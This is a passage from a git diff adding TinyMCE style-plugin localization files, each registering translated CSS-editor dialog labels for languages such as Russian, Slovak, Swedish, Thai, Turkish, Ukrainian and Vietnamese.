linie","text_variant":"Variant\u0103","text_style":"Stil","text_weight":"Greutate","text_size":"M\u0103rime","text_font":"Font","text_props":"Text","positioning_tab":"Pozi\u021bionare","list_tab":"List\u0103","border_tab":"Bordur\u0103","box_tab":"Box","block_tab":"Block","background_tab":"Fundal","text_tab":"Text",apply:"Aplic\u0103",title:"Editare CSS",clip:"Clip",placement:"Plasament",overflow:"Overflow",zindex:"Z-index",visibility:"Vizibilitate","positioning_type":"Tip",position:"Pozi\u021bionare","bullet_image":"Imagine","list_type":"Tip",color:"Culoare",height:"\u00cen\u0103l\u021bime",width:"L\u0103\u021bime",style:"Stil",margin:"Margini",left:"St\u00e2nga",bottom:"Jos",right:"Dreapta",top:"Sus",same:"La fel pentru toate",padding:"Margini interne","box_clear":"Normal\u0103","box_float":"Plutitoare","box_height":"\u00cen\u0103l\u021bime","box_width":"L\u0103\u0163ime","block_display":"Afi\u0219are","block_whitespace":"Spa\u0163iu alb","block_text_indent":"Indentare text","block_text_align":"Aliniere text","block_vertical_alignment":"Aliniere vertical\u0103","block_letterspacing":"Spa\u021biere litere","block_wordspacing":"Spa\u021biere cuvinte","background_vpos":"Pozi\u021bionare vertical\u0103","background_hpos":"Pozi\u021bionare orizontal\u0103","background_attachment":"Ata\u0219ament","background_repeat":"Repet\u0103","background_image":"Imagine fundal","background_color":"Culoare fundal","text_none":"Nici unul","text_blink":"Clipire","text_case":"Caz","text_striketrough":"T\u0103iere","text_underline":"Sub linie","text_overline":"Peste linie","text_decoration":"Decora\u021bii","text_color":"Culoare",text:"Text",background:"Fundal",block:"Bloc",box:"Cutie",border:"Bordur\u0103",list:"List\u0103"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/ru_dlg.js b/js/tiny_mce2/plugins/style/langs/ru_dlg.js new file mode 100755 index 0000000..857077c --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/ru_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.style_dlg',{"text_lineheight":"\u0412\u044b\u0441\u043e\u0442\u0430 \u0441\u0442\u0440\u043e\u043a\u0438","text_variant":"\u0412\u0430\u0440\u0438\u0430\u043d\u0442","text_style":"\u0421\u0442\u0438\u043b\u044c","text_weight":"\u0422\u043e\u043b\u0449\u0438\u043d\u0430","text_size":"\u0420\u0430\u0437\u043c\u0435\u0440","text_font":"\u0428\u0440\u0438\u0444\u0442","text_props":"\u0422\u0435\u043a\u0441\u0442","positioning_tab":"\u041f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435","list_tab":"\u0421\u043f\u0438\u0441\u043e\u043a","border_tab":"\u0413\u0440\u0430\u043d\u0438\u0446\u0430","box_tab":"\u041a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440","block_tab":"\u0411\u043b\u043e\u043a","background_tab":"\u0424\u043e\u043d","text_tab":"\u0422\u0435\u043a\u0441\u0442",apply:"\u041f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c",title:"\u0420\u0435\u0434\u0430\u043a\u0442\u043e\u0440 CSS \u0441\u0442\u0438\u043b\u044f",clip:"\u041e\u0442\u0441\u0435\u0447\u0435\u043d\u0438\u0435",placement:"\u0420\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u0435",overflow:"\u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435",zindex:"Z-\u0438\u043d\u0434\u0435\u043a\u0441",visibility:"\u0412\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u044c","positioning_type":"\u0422\u0438\u043f",position:"\u041f\u043e\u0437\u0438\u0446\u0438\u044f","bullet_image":"\u041c\u0430\u0440\u043a\u0435\u0440","list_type":"\u0422\u0438\u043f",color:"\u0426\u0432\u0435\u0442",height:"\u0412\u044b\u0441\u043e\u0442\u0430",width:"\u0428\u0438\u0440\u0438\u043d\u0430",style:"\u0421\u0442\u0438\u043b\u044c",margin:"\u041e\u0442\u0441\u0442\u0443\u043f",left:"\u0421\u043b\u0435\u0432\u0430",bottom:"\u0421\u043d\u0438\u0437\u0443",right:"\u0421\u043f\u0440\u0430\u0432\u0430",top:"\u0412\u0432\u0435\u0440\u0445",same:"\u041e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e \u0434\u043b\u044f \u0432\u0441\u0435\u0445",padding:"\u041f\u043e\u043b\u044f","box_clear":"\u042f\u0432\u043d\u044b\u0439","box_float":"\u041f\u043b\u0430\u0432\u0430\u044e\u0449\u0438\u0439","box_height":"\u0412\u044b\u0441\u043e\u0442\u0430","box_width":"\u0428\u0438\u0440\u0438\u043d\u0430","block_display":"\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435","block_whitespace":"\u041f\u0440\u043e\u0431\u0435\u043b","block_text_indent":"\u041e\u0442\u0441\u0442\u0443\u043f \u0442\u0435\u043a\u0441\u0442\u0430","block_text_align":"\u0412\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435 \u0442\u0435\u043a\u0441\u0442\u0430","block_vertical_alignment":"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435","block_letterspacing":"\u041e\u0442\u0441\u0442\u0443\u043f\u044b \u043c\u0435\u0436\u0434\u0443 \u0431\u0443\u043a\u0432\u0430\u043c\u0438","block_wordspacing":"\u041e\u0442\u0441\u0442\u0443\u043f\u044b \u043c\u0435\u0436\u0434\u0443 \u0441\u043b\u043e\u0432\u0430\u043c\u0438","background_vpos":"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u0430\u044f \u043f\u043e\u0437\u0438\u0446\u0438\u044f","background_hpos":"\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043f\u043e\u0437\u0438\u0446\u0438\u044f","background_attachment":"\u041f\u0440\u0438\u0432\u044f\u0437\u043a\u0430","background_repeat":"\u041f\u043e\u0432\u0442\u043e\u0440","background_image":"\u0424\u043e\u043d\u043e\u0432\u043e\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435","background_color":"\u0426\u0432\u0435\u0442 \u0444\u043e\u043d\u0430","text_none":"\u0411\u0435\u0437 \u0432\u0441\u0435\u0433\u043e","text_blink":"\u041c\u0435\u0440\u0446\u0430\u044e\u0449\u0438\u0439","text_case":"\u0420\u0435\u0433\u0438\u0441\u0442\u0440","text_striketrough":"\u0417\u0430\u0447\u0435\u0440\u043a\u043d\u0443\u0442\u044b\u0439","text_underline":"\u041f\u043e\u0434\u0447\u0435\u0440\u043a\u043d\u0443\u0442\u044b\u0439","text_overline":"\u0421 \u0432\u0435\u0440\u0445\u043d\u0435\u0439 \u0447\u0435\u0440\u0442\u043e\u0439","text_decoration":"\u041e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u0438\u0435","text_color":"\u0426\u0432\u0435\u0442",text:"\u0422\u0435\u043a\u0441\u0442",background:"\u0424\u043e\u043d",block:"\u0411\u043b\u043e\u043a",box:"\u041a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440",border:"\u0413\u0440\u0430\u043d\u0438\u0446\u0430",list:"\u0421\u043f\u0438\u0441\u043e\u043a"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/sk_dlg.js b/js/tiny_mce2/plugins/style/langs/sk_dlg.js new file mode 100755 index 0000000..d184cd3 --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.style_dlg',{"text_lineheight":"V\u00fd\u0161ka riadkov","text_variant":"Varianta","text_style":"\u0160t\u00fdl textu","text_weight":"Tu\u010dnos\u0165 p\u00edsma","text_size":"Ve\u013ekos\u0165","text_font":"P\u00edsmo","text_props":"Text","positioning_tab":"Umiestnenie","list_tab":"Zoznam","border_tab":"Or\u00e1movanie","box_tab":"Box","block_tab":"Blok","background_tab":"Pozadie","text_tab":"Text",apply:"Pou\u017ei\u0165",title:"Upravi\u0165 CSS \u0161t\u00fdl",clip:"Orezanie (clip)",placement:"Umiestnenie",overflow:"Prete\u010denie (overflow)",zindex:"Z-index",visibility:"Vidite\u013enos\u0165","positioning_type":"Typ",position:"Umiestnenie","bullet_image":"\u0160t\u00fdl odr\u00e1\u017eok","list_type":"Typ",color:"Farba",height:"V\u00fd\u0161ka",width:"\u0160\u00edrka",style:"\u0160t\u00fdl",margin:"Okraje (margin)",left:"V\u013eavo",bottom:"Dole",right:"Vpravo",top:"Hore",same:"Rovnak\u00e9 pre v\u0161etky",padding:"Odsadenie (padding)","box_clear":"Vy\u010disti\u0165","box_float":"Pl\u00e1vaj\u00faci","box_height":"V\u00fd\u0161ka","box_width":"\u0160\u00edrka","block_display":"Blokov\u00e9 zobrazenie","block_whitespace":"Zalamovanie textu","block_text_indent":"Odsadenie textu","block_text_align":"Zarovnanie textu","block_vertical_alignment":"Vertik\u00e1lne zarovnanie","block_letterspacing":"Rozstup znakov","block_wordspacing":"Rozstup slov","background_vpos":"Vertik\u00e1lne umiestnenie","background_hpos":"Horizont\u00e1lne umiestnenie","background_attachment":"Rolovanie","background_repeat":"Opakovanie","background_image":"Obr\u00e1zok pozadia","background_color":"Farba pozadia","text_none":"\u017eiadna","text_blink":"blikanie","text_case":"Ve\u013ek\u00e9 p\u00edsmen\u00e1","text_striketrough":"pre\u010diarknutie","text_underline":"pod\u010diarknutie","text_overline":"nad\u010diarknutie","text_decoration":"Dekor\u00e1cia","text_color":"Farba",text:"Text",background:"Pozadie",block:"Blok",box:"Box",border:"Or\u00e1movanie",list:"Zoznam"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/sl_dlg.js b/js/tiny_mce2/plugins/style/langs/sl_dlg.js new file mode 100755 index 0000000..e2b8f2e --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.style_dlg',{"text_lineheight":"Vi\u0161ina vrstice","text_variant":"Razli\u010dica","text_style":"Slog","text_weight":"Ute\u017e","text_size":"Velikost","text_font":"Pisava","text_props":"Besedilo","positioning_tab":"Polo\u017eaj","list_tab":"Seznam","border_tab":"Obroba","box_tab":"Okvir","block_tab":"Blok","background_tab":"Ozadje","text_tab":"Besedilo",apply:"Uporabi",title:"Uredi sloge CSS",clip:"Obre\u017ei",placement:"Polo\u017eaj",overflow:"Prelivanje",zindex:"Z-indeks",visibility:"Vidnost","positioning_type":"Vrsta",position:"Polo\u017eaj","bullet_image":"Slika alineje","list_type":"Vrsta",color:"Barva",height:"Vi\u0161ina",width:"\u0160irina",style:"Slog",margin:"Rob",left:"Levo",bottom:"Spodaj",right:"Desno",top:"Zgoraj",same:"Enako za vse",padding:"Podlaganje","box_clear":"\u010cisto","box_float":"Plavojo\u010de","box_height":"Vi\u0161ina","box_width":"\u0160irina","block_display":"Prikaz","block_whitespace":"Beli prostor","block_text_indent":"Zamik besedila","block_text_align":"Poravnava besedila","block_vertical_alignment":"Navpi\u010dna poravnava","block_letterspacing":"Razmik znakov","block_wordspacing":"Razmik besed","background_vpos":"Navpi\u010dni polo\u017eaj","background_hpos":"Vodoravni polo\u017eaj","background_attachment":"Priponka","background_repeat":"Ponavljaj","background_image":"Slika ozadja","background_color":"Barva ozadja","text_none":"brez","text_blink":"utripajo\u010de","text_case":"Velikost","text_striketrough":"pre\u010drtano","text_underline":"pod\u010drtano","text_overline":"nad\u010drtano","text_decoration":"Dekoracija","text_color":"Barva",text:"Besedilo",background:"Ozadje",block:"Blok",box:"Okvir",border:"Obroba",list:"Seznam"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/sv_dlg.js b/js/tiny_mce2/plugins/style/langs/sv_dlg.js new file mode 100755 index 0000000..f6fcb30 --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.style_dlg',{"text_lineheight":"Radh\u00f6jd","text_variant":"Variant","text_style":"Stil","text_weight":"Tjocklek","text_size":"Storlek","text_font":"Typsnitt","text_props":"Text","positioning_tab":"Positionering","list_tab":"Listor","border_tab":"Ramar","box_tab":"Box","block_tab":"Block","background_tab":"Bakgrund","text_tab":"Text",apply:"Applicera",title:"Redigera inline CSS",clip:"Besk\u00e4rning",placement:"Placering",overflow:"\u00d6\u0096verfl\u00f6de",zindex:"Z-index",visibility:"Synlighet","positioning_type":"Positionstyp",position:"Position","bullet_image":"Punktbild","list_type":"Listtyp",color:"F\u00e4rg",height:"H\u00f6jd",width:"Bredd",style:"Stil",margin:"Marginal",left:"V\u00e4nster",bottom:"Botten",right:"H\u00f6ger",top:"Toppen",same:"Samma f\u00f6r alla",padding:"Padding","box_clear":"Clear","box_float":"Float","box_height":"H\u00f6jd","box_width":"Bredd","block_display":"Display","block_whitespace":"Whitespace","block_text_indent":"Textindrag","block_text_align":"Textjustering","block_vertical_alignment":"Vertikal justering","block_letterspacing":"Teckenmellanrum","block_wordspacing":"Ordavbrytning","background_vpos":"Vertikal position","background_hpos":"Horisontell position","background_attachment":"F\u00e4stpunkt","background_repeat":"Upprepning","background_image":"Bakgrundsbild","background_color":"Bakgrundsf\u00e4rg","text_none":"Inget","text_blink":"Blinka","text_case":"Sm\u00e5/stora","text_striketrough":"Genomstruken","text_underline":"Understruken","text_overline":"\u00d6verstruken","text_decoration":"Dekoration","text_color":"F\u00e4rg",text:"Text",background:"Bakgrund",block:"Block",box:"Box",border:"Ram",list:"Lista"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/th_dlg.js b/js/tiny_mce2/plugins/style/langs/th_dlg.js new file mode 100755 index 0000000..264f85a --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/th_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.style_dlg',{"text_lineheight":"\u0e23\u0e30\u0e22\u0e30\u0e2b\u0e48\u0e32\u0e07\u0e23\u0e30\u0e2b\u0e27\u0e48\u0e32\u0e07\u0e1a\u0e23\u0e23\u0e17\u0e31\u0e14","text_variant":"Variant","text_style":"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a","text_weight":"\u0e19\u0e49\u0e33\u0e2b\u0e19\u0e31\u0e01","text_size":"\u0e02\u0e19\u0e32\u0e14","text_font":"\u0e41\u0e1a\u0e1a\u0e2d\u0e31\u0e01\u0e29\u0e23","text_props":"\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21","positioning_tab":"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07","list_tab":"\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23","border_tab":"\u0e02\u0e2d\u0e1a","box_tab":"\u0e01\u0e25\u0e48\u0e2d\u0e07","block_tab":"Block","background_tab":"\u0e1e\u0e37\u0e49\u0e19\u0e2b\u0e25\u0e31\u0e07","text_tab":"\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21",apply:"\u0e43\u0e0a\u0e49\u0e07\u0e32\u0e19",title:"\u0e41\u0e01\u0e49\u0e44\u0e02\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a CSS",clip:"Clip",placement:"Placement",overflow:"Overflow",zindex:"Z-index",visibility:"Visibility","positioning_type":"Type",position:"Position","bullet_image":"Bullet image","list_type":"Type",color:"\u0e2a\u0e35",height:"\u0e2a\u0e39\u0e07",width:"\u0e01\u0e27\u0e49\u0e32\u0e07",style:"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a",margin:"Margin",left:"\u0e0b\u0e49\u0e32\u0e22",bottom:"\u0e25\u0e48\u0e32\u0e07",right:"\u0e02\u0e27\u0e32",top:"\u0e1a\u0e19",same:"Same for all",padding:"Padding","box_clear":"\u0e25\u0e49\u0e32\u0e07","box_float":"\u0e25\u0e2d\u0e22","box_height":"\u0e04\u0e27\u0e32\u0e21\u0e2a\u0e39\u0e07","box_width":"\u0e04\u0e27\u0e32\u0e21\u0e01\u0e27\u0e49\u0e32\u0e07","block_display":"\u0e41\u0e2a\u0e14\u0e07\u0e1c\u0e25","block_whitespace":"Whitespace","block_text_indent":"\u0e22\u0e48\u0e2d\u0e2b\u0e19\u0e49\u0e32\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21","block_text_align":"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21","block_vertical_alignment":"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07\u0e41\u0e19\u0e27\u0e15\u0e31\u0e49\u0e07","block_letterspacing":"\u0e40\u0e27\u0e49\u0e19\u0e23\u0e30\u0e22\u0e30\u0e2b\u0e48\u0e32\u0e07\u0e0a\u0e48\u0e2d\u0e07\u0e44\u0e1f","block_wordspacing":"\u0e40\u0e27\u0e49\u0e19\u0e23\u0e30\u0e22\u0e30\u0e2b\u0e48\u0e32\u0e07\u0e23\u0e30\u0e2b\u0e27\u0e48\u0e32\u0e07\u0e04\u0e33","background_vpos":"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07\u0e41\u0e19\u0e27\u0e15\u0e31\u0e49\u0e07","background_hpos":"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07\u0e41\u0e19\u0e27\u0e19\u0e2d\u0e19","background_attachment":"\u0e2a\u0e34\u0e48\u0e07\u0e17\u0e35\u0e48\u0e41\u0e19\u0e1a","background_repeat":"\u0e0b\u0e49\u0e33","background_image":"\u0e23\u0e39\u0e1b\u0e1e\u0e37\u0e49\u0e19\u0e2b\u0e25\u0e31\u0e07","background_color":"\u0e2a\u0e35\u0e1e\u0e37\u0e49\u0e19\u0e2b\u0e25\u0e31\u0e07","text_none":"\u0e44\u0e21\u0e48\u0e21\u0e35","text_blink":"blink","text_case":"Case","text_striketrough":"strikethrough","text_underline":"\u0e02\u0e35\u0e14\u0e40\u0e2a\u0e49\u0e19\u0e43\u0e15\u0e49","text_overline":"overline","text_decoration":"Decoration","text_color":"\u0e2a\u0e35",text:"\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21",background:"\u0e1e\u0e37\u0e49\u0e19\u0e2b\u0e25\u0e31\u0e07",box:"\u0e01\u0e25\u0e48\u0e2d\u0e07",border:"\u0e02\u0e2d\u0e1a",list:"\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23",block:"Block"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/tr_dlg.js b/js/tiny_mce2/plugins/style/langs/tr_dlg.js new file mode 100755 index 0000000..bc12209 --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.style_dlg',{"text_lineheight":"\u00c7izgi y\u00fcksekli\u011fi","text_variant":"De\u011fi\u015fken","text_style":"Stil","text_weight":"Kal\u0131nl\u0131k","text_size":"Boyut","text_font":"Yaz\u0131 tipi","text_props":"Metin","positioning_tab":"Konumland\u0131rma","list_tab":"Listele","border_tab":"Kenarl\u0131k","box_tab":"Kutu","block_tab":"Blok","background_tab":"Arkaplan","text_tab":"Metin",apply:"Uygula",title:"CSS Stilini D\u00fczenle",clip:"K\u0131rp",placement:"Yerle\u015ftir",overflow:"Ta\u015fma",zindex:"Z-indeksi",visibility:"G\u00f6r\u00fcn\u00fcrl\u00fck","positioning_type":"Tip",position:"Konum","bullet_image":"Madde imi resmi","list_type":"Tip",color:"Renk",height:"Y\u00fckseklik",width:"Geni\u015flik",style:"Stil",margin:"Kenar bo\u015flu\u011fu",left:"Sol",bottom:"Alt",right:"Sa\u011f",top:"\u00dcst",same:"T\u00fcm\u00fc i\u00e7in",padding:"Dolgu","box_clear":"Serbest","box_float":"Kayan","box_height":"Y\u00fckseklik","box_width":"Geni\u015flik","block_display":"G\u00f6r\u00fcnt\u00fcle","block_whitespace":"Bo\u015fluk","block_text_indent":"Metnin girintisini art\u0131r","block_text_align":"Metin hizala","block_vertical_alignment":"Dikey hizalama","block_letterspacing":"harf bo\u015flu\u011fu","block_wordspacing":"Kelime bo\u015flu\u011fu","background_vpos":"Dikey konum","background_hpos":"Yatay konum","background_attachment":"Eklenti","background_repeat":"Tekrarla","background_image":"Arkaplan resmi","background_color":"Arkaplan rengi","text_none":"hi\u00e7biri","text_blink":"yan\u0131p s\u00f6nen","text_case":"Ko\u015ful","text_striketrough":"\u00fcst\u00fc \u00e7izgili","text_underline":"alt \u00e7izgi","text_overline":"\u00fcst \u00e7izgi","text_decoration":"Dekorasyon","text_color":"Renk",text:"Yaz\u0131",background:"Arkaplan",block:"Blok",box:"Kutu",border:"S\u0131n\u0131r",list:"Liste"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/tw_dlg.js b/js/tiny_mce2/plugins/style/langs/tw_dlg.js new file mode 100755 index 0000000..0581023 --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.style_dlg',{"text_lineheight":"\u884c\u9ad8","text_variant":"\u8b8a\u9ad4","text_style":"\u6a23\u5f0f","text_weight":"\u5b57\u5bec","text_size":"\u5b57\u578b\u5927\u5c0f","text_font":"\u5b57\u9ad4","text_props":"\u6587\u5b57","positioning_tab":"\u4f4d\u7f6e","list_tab":"\u5217\u8868","border_tab":"\u908a\u6846","box_tab":"\u65b9\u584a","block_tab":"\u5340\u584a","background_tab":"\u80cc\u666f","text_tab":"\u6587\u5b57",apply:"\u5957\u7528",title:"\u7de8\u8f2f CSS \u6a23\u5f0f\u8868",clip:"\u526a\u8f2f",placement:"\u4f48\u7f6e",overflow:"\u6ea2\u51fa",zindex:"Z-\u5750\u6a19",visibility:"\u53ef\u898b","positioning_type":"\u985e\u578b",position:"\u4f4d\u7f6e","bullet_image":"\u5716\u7247\u9805\u76ee\u7b26\u865f","list_type":"\u985e\u578b\u5217\u8868",color:"\u984f\u8272",height:"\u9ad8",width:"\u5bec",style:"\u6a23\u5f0f",margin:"\u5916\u908a\u8ddd",left:"\u5de6\u5074",bottom:"\u9760\u4e0b",right:"\u53f3\u5074",top:"\u9802\u90e8",same:"\u5168\u90e8\u76f8\u540c",padding:"\u5167\u908a\u8ddd","box_clear":"\u6e05\u9664\u6d6e\u52d5","box_float":"\u6d6e\u52d5","box_height":"\u9ad8","box_width":"\u5bec","block_display":"\u986f\u793a","block_whitespace":"\u7a7a\u683c","block_text_indent":"\u6587\u5b57\u7e2e\u6392","block_text_align":"\u6587\u5b57\u5c0d\u9f4a","block_vertical_alignment":"\u5782\u76f4\u5c0d\u9f4a","block_letterspacing":"\u5b57\u6bcd\u9593\u8ddd","block_wordspacing":"\u8a5e\u9593\u8ddd","background_vpos":"\u5782\u76f4\u4f4d\u7f6e","background_hpos":"\u6c34\u5e73\u4f4d\u7f6e","background_attachment":"\u9644\u4ef6","background_repeat":"\u91cd\u8907","background_image":"\u80cc\u666f\u5716\u7247","background_color":"\u80cc\u666f\u984f\u8272","text_none":"\u7121","text_blink":"\u9583\u720d","text_case":"\u5b57\u578b","text_striketrough":"\u522a\u9664\u7dda","text_underline":"\u5e95\u7dda","text_overline":"\u4e0a\u5283\u7dda","text_decoration":"\u88dd\u98fe","text_color":"\u984f\u8272",text:"Text",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/uk_dlg.js b/js/tiny_mce2/plugins/style/langs/uk_dlg.js new file mode 100755 index 0000000..152118f --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.style_dlg',{"text_lineheight":"\u0412\u0438\u0441\u043e\u0442\u0430 \u0440\u044f\u0434\u043a\u0443","text_variant":"\u0412\u0430\u0440\u0456\u0430\u043d\u0442","text_style":"\u0421\u0442\u0438\u043b\u044c","text_weight":"\u0422\u043e\u0432\u0449\u0438\u043d\u0430","text_size":"\u0420\u043e\u0437\u043c\u0456\u0440","text_font":"\u0428\u0440\u0438\u0444\u0442","text_props":"\u0422\u0435\u043a\u0441\u0442","positioning_tab":"\u041f\u043e\u0437\u0438\u0446\u0456\u043e\u043d\u0443\u0432\u0430\u043d\u043d\u044f","list_tab":"\u0421\u043f\u0438\u0441\u043e\u043a","border_tab":"\u0420\u0430\u043c\u043a\u0430","box_tab":"\u042f\u0449\u0438\u043a(box)","block_tab":"\u0411\u043b\u043e\u043a","background_tab":"\u0424\u043e\u043d","text_tab":"\u0422\u0435\u043a\u0441\u0442",apply:"\u0417\u0430\u0441\u0442\u043e\u0441\u0443\u0432\u0430\u0442\u0438",title:"\u0420\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u043d\u043d\u044f CSS \u0441\u0442\u0438\u043b\u044e",clip:"\u0421\u043a\u0440\u0456\u043f\u043b\u0435\u043d\u043d\u044f",placement:"\u0420\u043e\u0437\u043c\u0456\u0449\u0435\u043d\u043d\u044f",overflow:"\u041f\u0435\u0440\u0435\u043f\u043e\u0432\u043d\u0435\u043d\u043d\u044f",zindex:"Z-\u0456\u043d\u0434\u0435\u043a\u0441",visibility:"\u0412\u0438\u0434\u0438\u043c\u0456\u0441\u0442\u044c","positioning_type":"\u0422\u0438\u043f",position:"\u041f\u043e\u0437\u0438\u0446\u0456\u044f","bullet_image":"\u0417\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f \u0437\u043d\u0430\u0447\u043a\u0430 \u0432 \u0441\u043f\u0438\u0441\u043a\u0443","list_type":"\u0422\u0438\u043f",color:"\u041a\u043e\u043b\u0456\u0440",height:"\u0412\u0438\u0441\u043e\u0442\u0430",width:"\u0428\u0438\u0440\u0438\u043d\u0430",style:"\u0421\u0442\u0438\u043b\u044c",margin:"Margin",left:"\u041b\u0456\u0432\u043e\u0440\u0443\u0447",bottom:"\u0417\u043d\u0438\u0437\u0443",right:"\u041f\u0440\u0430\u0432\u043e\u0440\u0443\u0447",top:"\u0412\u0433\u043e\u0440\u0443",same:"\u041e\u0434\u043d\u0430\u043a\u043e\u0435 \u0434\u043b\u044f \u0432\u0441\u0456\u0445",padding:"\u0412\u043d\u0443\u0442\u0440\u0456\u0448\u043d\u0456\u0439 \u0432\u0456\u0434\u0441\u0442\u0443\u043f","box_clear":"\u041e\u0447\u0438\u0441\u0442\u043a\u0430","box_float":"\u041f\u043b\u0430\u0432\u0430\u043d\u043d\u044f","box_height":"\u0412\u0438\u0441\u043e\u0442\u0430","box_width":"\u0428\u0438\u0440\u0438\u043d\u0430","block_display":"\u0412\u0456\u0434\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u0438","block_whitespace":"\u041f\u0440\u043e\u0431\u0456\u043b","block_text_indent":"\u0412\u0456\u0434\u0441\u0442\u0443\u043f","block_text_align":"\u0412\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f \u0442\u0435\u043a\u0441\u0442\u0443","block_vertical_alignment":"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u0435 \u0432\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f","block_letterspacing":"\u0412\u0456\u0434\u0441\u0442\u0443\u043f\u0438 \u043c\u0456\u0436 \u043b\u0456\u0442\u0435\u0440\u0430\u043c\u0438","block_wordspacing":"\u0412\u0456\u0434\u0441\u0442\u0443\u043f\u0438 \u043c\u0456\u0436 \u0441\u043b\u043e\u0432\u0430\u043c\u0438","background_vpos":"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u0430 \u043f\u043e\u0437\u0438\u0446\u0456\u044f","background_hpos":"\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u0430 \u043f\u043e\u0437\u0438\u0446\u0456\u044f","background_attachment":"\u0412\u043a\u043b\u0430\u0434\u0435\u043d\u043d\u044f","background_repeat":"\u041f\u043e\u0432\u0442\u043e\u0440","background_image":"\u0424\u043e\u043d\u043e\u0432\u0435 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f","background_color":"\u041a\u043e\u043b\u0456\u0440 \u0444\u043e\u043d\u0443","text_none":"\u041d\u0456\u0447\u043e\u0433\u043e","text_blink":"\u041c\u0435\u0440\u0435\u0445\u0442\u0456\u043d\u043d\u044f","text_case":"\u0420\u0435\u0433\u0456\u0441\u0442\u0440","text_striketrough":"\u0417\u0430\u043a\u0440\u0435\u0441\u043b\u0435\u043d\u0438\u0439","text_underline":"\u041f\u0456\u0434\u043a\u0440\u0435\u0441\u043b\u0435\u043d\u0438\u0439","text_overline":"\u041d\u0430\u0434\u043a\u0440\u0435\u0441\u043b\u0435\u043d\u0438\u0439","text_decoration":"\u041e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044f","text_color":"\u041a\u043e\u043b\u0456\u0440",text:"\u0422\u0435\u043a\u0441\u0442",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/vi_dlg.js b/js/tiny_mce2/plugins/style/langs/vi_dlg.js new file mode 100755 index 0000000..ee7136b --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.style_dlg',{"text_lineheight":"Chi\u1ec1u cao \u0111\u01b0\u1eddng","text_variant":"Bi\u1ebfn \u0111\u1ed5i","text_style":"Ki\u1ec3u 